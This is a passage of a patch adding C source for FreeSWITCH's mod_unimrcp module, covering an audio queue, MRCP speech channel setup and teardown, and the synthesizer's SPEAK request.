+static switch_status_t audio_queue_write(audio_queue_t *queue, void *data, switch_size_t *data_len);
+static switch_status_t audio_queue_read(audio_queue_t *queue, void *data, switch_size_t *data_len, int block);
+static switch_status_t audio_queue_clear(audio_queue_t *queue);
+static switch_status_t audio_queue_destroy(audio_queue_t *queue);
+
+/*********************************************************************************************************************************************
+ * SPEECH_CHANNEL : speech functions common to recognizer and synthesizer
+ */
+
+/* how long to wait for UniMRCP to process requests */
+#define SPEECH_CHANNEL_TIMEOUT_USEC (10 * 1000000)
+
+/**
+ * Type of MRCP channel
+ */
+enum speech_channel_type {
+	SPEECH_CHANNEL_SYNTHESIZER,
+	SPEECH_CHANNEL_RECOGNIZER
+};
+typedef enum speech_channel_type speech_channel_type_t;
+
+/**
+ * channel states
+ */
+enum speech_channel_state {
+	/** closed */
+	SPEECH_CHANNEL_CLOSED,
+	/** ready for speech request */
+	SPEECH_CHANNEL_READY,
+	/** processing speech request */
+	SPEECH_CHANNEL_PROCESSING,
+	/** error opening channel */
+	SPEECH_CHANNEL_ERROR
+};
+typedef enum speech_channel_state speech_channel_state_t;
+
+
+
+/**
+ * An MRCP speech channel
+ */
+struct speech_channel {
+	/** the name of this channel (for logging) */
+	char *name;
+	/** The profile used by this channel */
+	profile_t *profile;
+	/** type of channel */
+	speech_channel_type_t type;
+	/** application this channel is running */
+	mod_unimrcp_application_t *application;
+	/** UniMRCP session */
+	mrcp_session_t *unimrcp_session;
+	/** UniMRCP channel */
+	mrcp_channel_t *unimrcp_channel;
+	/** memory pool */
+	switch_memory_pool_t *memory_pool;
+	/** synchronizes channel state */
+	switch_mutex_t *mutex;
+	/** wait on channel states */
+	switch_thread_cond_t *cond;
+	/** channel state */
+	speech_channel_state_t state;
+	/** UniMRCP <--> FreeSWITCH audio buffer */
+	audio_queue_t *audio_queue;
+	/** codec */
+	char *codec;
+	/** rate */
+	uint16_t rate;
+	/** silence byte */
+	int silence;
+	/** speech channel params */
+	switch_hash_t *params;
+	/** app specific data */
+	void *data;
+};
+typedef struct speech_channel speech_channel_t;
+
+/* speech channel interface for UniMRCP */
+static apt_bool_t speech_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
+static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
+static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
+
+/* speech_channel funcs */
+static switch_status_t speech_channel_create(speech_channel_t **schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app, const char *codec, uint16_t rate, switch_memory_pool_t *pool);
+static switch_status_t speech_channel_open(speech_channel_t *schannel, profile_t *profile);
+static switch_status_t speech_channel_destroy(speech_channel_t *schannel);
+static switch_status_t speech_channel_stop(speech_channel_t *schannel);
+static switch_status_t speech_channel_set_param(speech_channel_t *schannel, const char *name, const char *val);
+static switch_status_t speech_channel_write(speech_channel_t *schannel, void *data, switch_size_t *len);
+static switch_status_t speech_channel_read(speech_channel_t *schannel, void *data, switch_size_t *len, int block);
+static switch_status_t speech_channel_set_state(speech_channel_t *schannel, speech_channel_state_t state);
+static switch_status_t speech_channel_set_state_unlocked(speech_channel_t *schannel, speech_channel_state_t state);
+static const char *speech_channel_state_to_string(speech_channel_state_t state);
+static const char *speech_channel_type_to_string(speech_channel_type_t type);
+
+
+/*********************************************************************************************************************************************
+ * SYNTHESIZER : UniMRCP <--> FreeSWITCH tts interface
+ */
+
+/* synthesis languages */
+#define MIME_TYPE_SSML_XML "application/ssml+xml"
+#define MIME_TYPE_PLAIN_TEXT "text/plain"
+
+static switch_status_t synth_load(switch_loadable_module_interface_t *module_interface, switch_memory_pool_t *pool);
+static switch_status_t synth_shutdown();
+
+/* synthesizer's interface for FreeSWITCH */
+static switch_status_t synth_speech_open(switch_speech_handle_t *sh, const char *voice_name, int rate, switch_speech_flag_t *flags);
+static switch_status_t synth_speech_close(switch_speech_handle_t *sh, switch_speech_flag_t *flags);
+static switch_status_t synth_speech_feed_tts(switch_speech_handle_t *sh, char *text, switch_speech_flag_t *flags);
+static switch_status_t synth_speech_read_tts(switch_speech_handle_t *sh, void *data, switch_size_t *datalen, switch_speech_flag_t *flags);
+static void synth_speech_flush_tts(switch_speech_handle_t *sh);
+static void synth_speech_text_param_tts(switch_speech_handle_t *sh, char *param, const char *val);
+static void synth_speech_numeric_param_tts(switch_speech_handle_t *sh, char *param, int val);
+static void synth_speech_float_param_tts(switch_speech_handle_t *sh, char *param, double val);
+
+/* synthesizer's interface for UniMRCP */
+static apt_bool_t synth_message_handler(const mrcp_app_message_t *app_message);
+static apt_bool_t synth_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message);
+static apt_bool_t synth_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame);
+
+/* synthesizer specific speech_channel funcs */
+static switch_status_t synth_channel_speak(speech_channel_t *schannel, const char *text);
+static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_synth_header_t *synth_hdr);
+static switch_status_t synth_channel_set_header(speech_channel_t *schannel, int id, char *val, mrcp_message_t *msg, mrcp_synth_header_t *synth_hdr);
+
+/*********************************************************************************************************************************************
+ * GRAMMAR : recognizer grammar management 
+ */
+
+/**
+ * type of the grammar
+ */
+enum grammar_type {
+	GRAMMAR_TYPE_UNKNOWN,
+	/* text/uri-list */
+	GRAMMAR_TYPE_URI,
+	/* application/srgs */
+	GRAMMAR_TYPE_SRGS,
+	/* application/srgs+xml */
+	GRAMMAR_TYPE_SRGS_XML,
+	/* application/x-nuance-gsl */
+	GRAMMAR_TYPE_NUANCE_GSL,
+	/* application/x-jsgf */
+	GRAMMAR_TYPE_JSGF
+};
+typedef enum grammar_type grammar_type_t;
+
+/**
+ * A grammar for recognition
+ */
+struct grammar {
+	/** name of this grammar */
+	char *name;
+	/** grammar MIME type */
+	grammar_type_t type;
+	/** the grammar or its URI, depending on type */
+	char *data;
+};
+typedef struct grammar grammar_t;
+
+static switch_status_t grammar_create(grammar_t **grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool);
+static const char *grammar_type_to_mime(grammar_type_t type, profile_t *profile);
+
+/*********************************************************************************************************************************************
+ * RECOGNIZER : UniMRCP <--> FreeSWITCH asr interface
+ */
+
+/**
+ * Data specific to the recognizer
+ */
+struct recognizer_data {
+	/** the available grammars */
+	switch_hash_t *grammars;
+	/** the last grammar used (for pause/resume) */
+	grammar_t *last_grammar;
+	/** recognize result */
+	char *result;
+	/** true, if voice has started */
+	int start_of_input;
+	/** true, if input timers have started */
+	int timers_started;
+};
+typedef struct recognizer_data recognizer_data_t;
+
+static switch_status_t recog_load(switch_loadable_module_interface_t *module_interface, switch_memory_pool_t *pool);
+static switch_status_t recog_shutdown() ;
+
+/* recognizer's interface for FreeSWITCH */
+static switch_status_t recog_asr_open(switch_asr_handle_t *ah, const char *codec, int rate, const char *dest, switch_asr_flag_t *flags);
+static switch_status_t recog_asr_load_grammar(switch_asr_handle_t *ah, const char *grammar, const char *name);
+static switch_status_t recog_asr_unload_grammar(switch_asr_handle_t *ah, const char *name);
+static switch_status_t recog_asr_close(switch_asr_handle_t *ah, switch_asr_flag_t *flags);
+static switch_status_t recog_asr_feed(switch_asr_handle_t *ah, void *data, unsigned int len, switch_asr_flag_t *flags);
+#if 0
+static switch_status_t recog_asr_start(switch_asr_handle_t *ah, const char *name);
+#endif
+static switch_status_t recog_asr_resume(switch_asr_handle_t *ah);
+static switch_status_t recog_asr_pause(switch_asr_handle_t *ah);
+static switch_status_t recog_asr_check_results(switch_asr_handle_t *ah, switch_asr_flag_t *flags);
+static switch_status_t recog_asr_get_results(switch_asr_handle_t *ah, char **xmlstr, switch_asr_flag_t *flags);
+static switch_status_t recog_asr_start_input_timers(switch_asr_handle_t *ah);
+static void recog_asr_text_param(switch_asr_handle_t *ah, char *param, const char *val);
+static void recog_asr_numeric_param(switch_asr_handle_t *ah, char *param, int val);
+static void recog_asr_float_param(switch_asr_handle_t *ah, char *param, double val);
+
+/* recognizer's interface for UniMRCP */
+static apt_bool_t recog_message_handler(const mrcp_app_message_t *app_message);
+static apt_bool_t recog_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message);
+static apt_bool_t recog_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame);
+
+/* recognizer specific speech_channel_funcs */
+static switch_status_t recog_channel_start(speech_channel_t *schannel, const char *name);
+static switch_status_t recog_channel_load_grammar(speech_channel_t *schannel, const char *name, grammar_type_t type, const char *data);
+static switch_status_t recog_channel_unload_grammar(speech_channel_t *schannel, const char *name);
+static switch_status_t recog_channel_check_results(speech_channel_t *schannel);
+static switch_status_t recog_channel_set_start_of_input(speech_channel_t *schannel);
+static switch_status_t recog_channel_start_input_timers(speech_channel_t *schannel);
+static switch_status_t recog_channel_set_results(speech_channel_t *schannel, const char *results);
+static switch_status_t recog_channel_get_results(speech_channel_t *schannel, char **results);
+static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_recog_header_t *recog_hdr);
+static switch_status_t recog_channel_set_header(speech_channel_t *schannel, int id, char *val, mrcp_message_t *msg, mrcp_recog_header_t *recog_hdr);
+static switch_status_t recog_channel_set_timers_started(speech_channel_t *schannel);
+
+
+/**
+ * Create a mod_unimrcp profile
+ * @param profile the created profile
+ * @param name the profile name
+ * @param pool the memory pool to use
+ * @return SWITCH_STATUS_SUCCESS if the profile is created
+ */
+static switch_status_t profile_create(profile_t **profile, const char *name, switch_memory_pool_t *pool)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	profile_t *lprofile = NULL;
+	
+	lprofile = (profile_t *)switch_core_alloc(pool, sizeof(profile_t));
+	if (lprofile) {
+		lprofile->name = switch_core_strdup(pool, name);
+		lprofile->srgs_mime_type = "application/srgs";
+		lprofile->srgs_xml_mime_type = "application/srgs+xml";
+		lprofile->gsl_mime_type = "application/x-nuance-gsl";
+		lprofile->jsgf_mime_type = "application/x-jsgf";
+		*profile = lprofile;
+	} else {
+		*profile = NULL;
+		status = SWITCH_STATUS_FALSE;
+	}
+	
+	return status;
+}
+
+/**
+ * Inspect text to determine if its first non-whitespace text matches "match"
+ * @param text the text to inspect.
+ * @param match the text to match
+ * @return true if matches
+ */
+static int text_starts_with(const char *text, const char *match)
+{
+	int result = 0;
+
+	if (!switch_strlen_zero(text)) {
+		size_t textlen, matchlen;
+
+		/* find first non-space character */
+		while (switch_isspace(*text)) {
+			text++;
+		}
+		textlen = strlen(text);
+		matchlen = strlen(match);
+		/* is there a match? */
+		result = textlen > matchlen && !strncmp(match, text, matchlen);
+	}
+	
+	return result;
+}
+
+/**
+ * Create the audio queue
+ *
+ * @param audio_queue the created queue
+ * @param name the name of this queue (for logging)
+ * @param pool memory pool to allocate queue from 
+ * @return SWITCH_STATUS_SUCCESS if successful.  SWITCH_STATUS_FALSE if unable to allocate queue
+ */
+static switch_status_t audio_queue_create(audio_queue_t **audio_queue, const char *name, switch_memory_pool_t *pool)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	audio_queue_t *laudio_queue = NULL;
+#ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
+	int flags;
+#endif
+	char *lname = "";
+	*audio_queue = NULL;
+
+	if (switch_strlen_zero(name)) {
+		lname = "";
+	} else {
+		lname = switch_core_strdup(pool, name);
+	}
+
+	if ((laudio_queue = (audio_queue_t *)switch_core_alloc(pool, sizeof(audio_queue_t))) == NULL) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) unable to create audio queue\n", lname);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	laudio_queue->name = lname;
+
+	if (switch_buffer_create(pool, &laudio_queue->buffer, AUDIO_QUEUE_SIZE) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) unable to create audio queue buffer\n", laudio_queue->name);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+    }
+
+	if (switch_mutex_init(&laudio_queue->mutex, SWITCH_MUTEX_UNNESTED, pool) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) unable to create audio queue mutex\n", laudio_queue->name);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	if (switch_thread_cond_create(&laudio_queue->cond, pool) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) unable to create audio queue condition variable\n", laudio_queue->name);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+#ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
+	flags = SWITCH_FOPEN_CREATE | SWITCH_FOPEN_WRITE | SWITCH_FOPEN_TRUNCATE | SWITCH_FOPEN_BINARY;
+	strcpy(laudio_queue->file_read_name, "/tmp/mod_unimrcp_rx_XXXXXX");	
+	if (switch_file_mktemp(&laudio_queue->file_read, laudio_queue->file_read_name, flags, pool) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) unable to create audio queue read file\n", laudio_queue->name);
+		laudio_queue->file_read = NULL;
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) queue rx saved to %s\n", laudio_queue->name, laudio_queue->file_read_name);
+	}
+	strcpy(laudio_queue->file_write_name, "/tmp/mod_unimrcp_tx_XXXXXX");
+	if (switch_file_mktemp(&laudio_queue->file_write, laudio_queue->file_write_name, flags, pool) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) unable to create audio queue write file\n", laudio_queue->name);
+		laudio_queue->file_write = NULL;
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) queue tx saved to %s\n", laudio_queue->name, laudio_queue->file_write_name);
+	}
+#endif
+
+	laudio_queue->write_bytes = 0;
+	laudio_queue->read_bytes = 0;
+	laudio_queue->waiting = 0;
+	*audio_queue = laudio_queue;
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue created\n", laudio_queue->name);
+
+ done:
+
+	if(status != SWITCH_STATUS_SUCCESS) {
+		audio_queue_destroy(laudio_queue);
+	}
+	return status;
+}
+
+/**
+ * Write to the audio queue
+ *
+ * @param queue the queue to write to
+ * @param data the data to write
+ * @param data_len the number of octets to write
+ * @return SWITCH_STATUS_SUCCESS if data was written, SWITCH_STATUS_FALSE if data can't be written because queue is full
+ */
+static switch_status_t audio_queue_write(audio_queue_t *queue, void *data, switch_size_t *data_len)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	switch_mutex_lock(queue->mutex);
+
+#ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
+	switch_size_t len = *data_len;
+	if(queue->file_write) {
+		switch_file_write(queue->file_write, data, &len);
+	}
+#endif
+
+	if (switch_buffer_write(queue->buffer, data, *data_len) > 0) {
+		queue->write_bytes = queue->write_bytes + *data_len;
+#ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue write total = %d\trequested = %d\n", queue->name, queue->write_bytes, *data_len);
+#endif
+		if (queue->waiting <= switch_buffer_inuse(queue->buffer)) {
+			switch_thread_cond_signal(queue->cond);
+		}
+	} else {
+		*data_len = 0;
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue overflow!\n", queue->name);
+		status = SWITCH_STATUS_FALSE;
+	}
+
+	switch_mutex_unlock(queue->mutex);
+	return status;
+}
+
+/**
+ * Read from the audio queue
+ *
+ * @param queue the queue to read from 
+ * @param data the read data
+ * @param data_len the amount of data requested / actual amount of data read (returned)
+ * @param block 1 if blocking is allowed
+ * @return SWITCH_STATUS_SUCCESS if successful.  SWITCH_STATUS_FALSE if no data was requested, or there was a timeout while waiting to read
+ */
+static switch_status_t audio_queue_read(audio_queue_t *queue, void *data, switch_size_t *data_len, int block)
+{
+	switch_size_t requested = *data_len;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	switch_mutex_lock(queue->mutex);
+
+	/* wait for data, if allowed */
+	if (block) {
+		if (switch_buffer_inuse(queue->buffer) < requested) {
+			queue->waiting = requested;
+			switch_thread_cond_timedwait(queue->cond, queue->mutex, SPEECH_CHANNEL_TIMEOUT_USEC);
+			if (switch_buffer_inuse(queue->buffer) < requested) {
+				requested = switch_buffer_inuse(queue->buffer);
+			}
+		}
+		queue->waiting = 0;
+	} else {
+		if (switch_buffer_inuse(queue->buffer) < requested) {
+			requested = switch_buffer_inuse(queue->buffer);
+		}
+	}
+	if (requested == 0) {
+		*data_len = 0;
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* read the data */
+	*data_len = switch_buffer_read(queue->buffer, data, requested);
+	queue->read_bytes = queue->read_bytes + *data_len;
+#ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue read total = %d\tread = %d\trequested = %d\n", queue->name, queue->read_bytes, *data_len, requested);
+	switch_size_t len = *data_len;
+	if (queue->file_read) {
+		switch_file_write(queue->file_read, data, &len);
+	}
+#endif
+
+ done:
+
+	switch_mutex_unlock(queue->mutex);
+	return status;
+}
+
+/**
+ * Empty the queue
+ *
+ * @param queue the queue to empty
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t audio_queue_clear(audio_queue_t *queue)
+{
+	switch_mutex_lock(queue->mutex);
+	switch_buffer_zero(queue->buffer);
+	switch_thread_cond_signal(queue->cond);
+	switch_mutex_unlock(queue->mutex);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Destroy the audio queue
+ *
+ * @param queue the queue to clean up
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t audio_queue_destroy(audio_queue_t *queue)
+{
+	if (queue) {
+		char *name = queue->name;
+		if (switch_strlen_zero(name)) {
+			name = "";
+		}
+		if (queue->buffer) {
+			switch_buffer_destroy(&queue->buffer);
+		}
+		if (queue->mutex) {
+			switch_mutex_destroy(queue->mutex);
+			queue->mutex = NULL;
+		}
+		if (queue->cond) {
+			switch_thread_cond_destroy(queue->cond);
+			queue->cond = NULL;
+		}
+#ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
+		if (queue->file_read) {
+			switch_file_close(queue->file_read);
+			queue->file_read = NULL;
+		}
+		if (queue->file_write) {
+			switch_file_close(queue->file_write);
+			queue->file_write = NULL;
+		}
+#endif
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue destroyed\n", name);
+	}
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Create a speech channel
+ *
+ * @param schannel the created channel
+ * @param name the name of the channel
+ * @param type the type of channel to create
+ * @param app the application
+ * @param codec the codec to use
+ * @param rate the rate to use
+ * @param pool the memory pool to use
+ * @return SWITCH_STATUS_SUCCESS if successful.  SWITCH_STATUS_FALSE if the channel cannot be allocated.
+ */
+static switch_status_t speech_channel_create(speech_channel_t **schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app, const char *codec, uint16_t rate, switch_memory_pool_t *pool)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	speech_channel_t *schan = NULL;
+	*schannel = NULL;
+
+	if ((schan = (speech_channel_t *)switch_core_alloc(pool, sizeof(speech_channel_t))) == NULL) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	schan->profile = NULL;
+	schan->type = type;
+	schan->application = app;
+	schan->state = SPEECH_CHANNEL_CLOSED;
+	schan->memory_pool = pool;
+	schan->params = NULL;
+	schan->rate = rate;
+	schan->codec = switch_core_strdup(pool, codec);
+	
+	if (!strcmp("L16", schan->codec)) {
+		schan->silence = 0;
+	} else {
+		/* 8-bit PCMU, PCMA */
+		schan->silence = 128;
+	}
+
+	if (switch_mutex_init(&schan->mutex, SWITCH_MUTEX_UNNESTED, pool) != SWITCH_STATUS_SUCCESS || 
+		switch_thread_cond_create(&schan->cond, pool) != SWITCH_STATUS_SUCCESS ||
+		audio_queue_create(&schan->audio_queue, name, pool) != SWITCH_STATUS_SUCCESS) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	switch_core_hash_init(&schan->params, pool);
+	schan->data = NULL;
+	if (switch_strlen_zero(name)) {
+		schan->name = "";
+	} else {
+		schan->name = switch_core_strdup(pool, name);
+	}
+	*schannel = schan;
+
+ done:
+
+	return status;
+}
+
+/**
+ * Destroy the speech channel
+ *
+ * @param schannel the channel to destroy
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t speech_channel_destroy(speech_channel_t *schannel)
+{
+	/* destroy the channel and session if not already done */
+	switch_mutex_lock(schannel->mutex);
+	if (schannel->state != SPEECH_CHANNEL_CLOSED) {
+		mrcp_application_channel_remove(schannel->unimrcp_session, schannel->unimrcp_channel);
+		switch_thread_cond_timedwait(schannel->cond, schannel->mutex, SPEECH_CHANNEL_TIMEOUT_USEC);
+		audio_queue_destroy(schannel->audio_queue);
+		if (schannel->state != SPEECH_CHANNEL_CLOSED) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Failed to destroy channel.  Continuing\n", schannel->name);
+		}
+	}
+	if (schannel->params) {
+		switch_core_hash_destroy(&schannel->params);
+	}
+	switch_mutex_unlock(schannel->mutex);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Open the speech channel
+ *
+ * @param schannel the channel to open
+ * @param profile the profile to use
+ * @return SWITCH_STATUS_FALSE if failed, SWITCH_STATUS_RESTART if retry can be attempted with another profile, SWITCH_STATUS_SUCCESS if successful
+ */
+static switch_status_t speech_channel_open(speech_channel_t *schannel, profile_t *profile)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	mpf_termination_t *termination = NULL;
+	mpf_codec_descriptor_t *codec = NULL;
+	mrcp_resource_type_e resource_type;
+
+	switch_mutex_lock(schannel->mutex);
+	
+	/* make sure we can open channel */
+	if (schannel->state != SPEECH_CHANNEL_CLOSED) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	schannel->profile = profile;
+
+	/* create MRCP session */
+	if ((schannel->unimrcp_session = mrcp_application_session_create(schannel->application->app, profile->name, schannel)) == NULL) {	
+		/* profile doesn't exist? */
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Unable to create session with %s\n", schannel->name, profile->name);
+		status = SWITCH_STATUS_RESTART;
+		goto done;
+	}
+
+	/* create RTP endpoint and link to session channel */
+	codec = (mpf_codec_descriptor_t *)apr_palloc(schannel->unimrcp_session->pool, sizeof(mpf_codec_descriptor_t));
+	mpf_codec_descriptor_init(codec);
+	codec->channel_count = 1;
+	codec->payload_type = 96;
+	codec->sampling_rate = schannel->rate;
+	if (!strcmp(schannel->codec, "L16")) {
+		/* "LPCM" is UniMRCP's name for L16 host byte ordered */
+		apt_string_set(&codec->name, "LPCM");
+	} else {
+		apt_string_set(&codec->name, schannel->codec);
+	}
+	/* see RFC 1890 for payload types */
+	if (!strcmp(schannel->codec, "PCMU") && schannel->rate == 8000) {
+		codec->payload_type = 0;
+	} else if (!strcmp(schannel->codec, "PCMA") && schannel->rate == 8000) {
+		codec->payload_type = 8;
+	} 
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) requesting codec %s/%d/%d\n", schannel->name, schannel->codec, codec->payload_type, codec->sampling_rate);
+	if(schannel->type == SPEECH_CHANNEL_SYNTHESIZER) {
+		termination = mrcp_application_sink_termination_create(schannel->unimrcp_session, &schannel->application->audio_stream_vtable, codec, schannel);
+	} else {
+		termination = mrcp_application_source_termination_create(schannel->unimrcp_session, &schannel->application->audio_stream_vtable, codec, schannel);
+	}
+	if(termination == NULL) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Unable to create termination with %s\n", schannel->name, profile->name);
+		mrcp_application_session_destroy(schannel->unimrcp_session);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	if (schannel->type == SPEECH_CHANNEL_SYNTHESIZER) {
+		resource_type = MRCP_SYNTHESIZER_RESOURCE;
+	} else {
+		resource_type = MRCP_RECOGNIZER_RESOURCE;
+	}
+	if ((schannel->unimrcp_channel = mrcp_application_channel_create(schannel->unimrcp_session, resource_type, termination, NULL, schannel)) == NULL) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Unable to create channel with %s\n", schannel->name, profile->name);
+		mrcp_application_session_destroy(schannel->unimrcp_session);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* add channel to session... this establishes the connection to the MRCP server */
+	if (mrcp_application_channel_add(schannel->unimrcp_session, schannel->unimrcp_channel) != TRUE) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Unable to add channel to session with %s\n", schannel->name, profile->name);
+		mrcp_application_session_destroy(schannel->unimrcp_session);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* wait for channel to be ready */
+	switch_thread_cond_timedwait(schannel->cond, schannel->mutex, SPEECH_CHANNEL_TIMEOUT_USEC);
+	if (schannel->state == SPEECH_CHANNEL_READY) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) channel is ready\n", schannel->name);
+	}
+	else if (schannel->state == SPEECH_CHANNEL_CLOSED) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Timed out waiting for channel to be ready\n", schannel->name);
+		/* can't retry */
+		status = SWITCH_STATUS_FALSE;
+	} else if (schannel->state == SPEECH_CHANNEL_ERROR) {
+		/* Wait for session to be cleaned up */
+		switch_thread_cond_timedwait(schannel->cond, schannel->mutex, SPEECH_CHANNEL_TIMEOUT_USEC);
+		if (schannel->state != SPEECH_CHANNEL_CLOSED) {
+			/* major issue... can't retry */
+			status = SWITCH_STATUS_FALSE;
+		} else {
+			/* failed to open profile, retry is allowed */
+			status = SWITCH_STATUS_RESTART;
+		}
+	}
+
+ done:
+
+	switch_mutex_unlock(schannel->mutex);
+	return status;
+}
+
+/**
+ * Send SPEAK request to synthesizer
+ *
+ * @param schannel the synthesizer channel
+ * @param text The text to speak.  This may be plain text or SSML.
+ * @return SWITCH_STATUS_SUCCESS if successful
+ */
+static switch_status_t synth_channel_speak(speech_channel_t *schannel, const char *text)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	mrcp_message_t *mrcp_message = NULL;
+	mrcp_generic_header_t *generic_header = NULL;
+	mrcp_synth_header_t *synth_header = NULL;
+
+	switch_mutex_lock(schannel->mutex);
+	if (schannel->state != SPEECH_CHANNEL_READY) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	mrcp_message = mrcp_application_message_create(schannel->unimrcp_session, schannel->unimrcp_channel, SYNTHESIZER_SPEAK);
+	if (mrcp_message == NULL) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Failed to create SPEAK message\n", schannel->name);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* set generic header fields (content-type) */
+	if ((generic_header = (mrcp_generic_header_t *)mrcp_generic_header_prepare(mrcp_message)) == NULL) {	
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* good enough way of determining SSML or plain text body */
+	if (text_starts_with(text, XML_ID)) {
+		apt_string_assign(&generic_header->content_type, MIME_TYPE_SSML_XML, mrcp_message->pool);
+	} else {
+		apt_string_assign(&generic_header->content_type, MIME_TYPE_PLAIN_TEXT, mrcp_message->pool);
+	}
+	mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_TYPE);
+
+	/* set synthesizer header fields (voice, rate, etc.) */
+	if ((synth_header = (mrcp_synth_header_t *)mrcp_resource_header_prepare(mrcp_message)) == NULL) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* add params to MRCP message */
+	synth_channel_set_params(schannel, mrcp_message, generic_header, synth_header);
+
+	/* set body (plain text or SSML) */
+	apt_string_assign(&mrcp_message->body, text, schannel->memory_pool);
+
+	/* Empty audio queue and send SPEAK to MRCP server */
+	audio_queue_clear(schannel->audio_queue);
+	if (mrcp_application_message_send(schannel->unimrcp_session, schannel->unimrcp_channel, mrcp_message) == FALSE) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	/* wait for IN PROGRESS */
+	switch_thread_cond_timedwait(schannel->cond, schannel->mutex, SPEECH_CHANNEL_TIMEOUT_USEC);
+	if (schannel->state != SPEECH_CHANNEL_PROCESSING) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+ done:
+
+	switch_mutex_unlock(schannel->mutex);
+	return status;
+}
+
+/**
+ * Set parameters in a synthesizer MRCP header
+ *
+ * @param schannel the speech channel containing the params
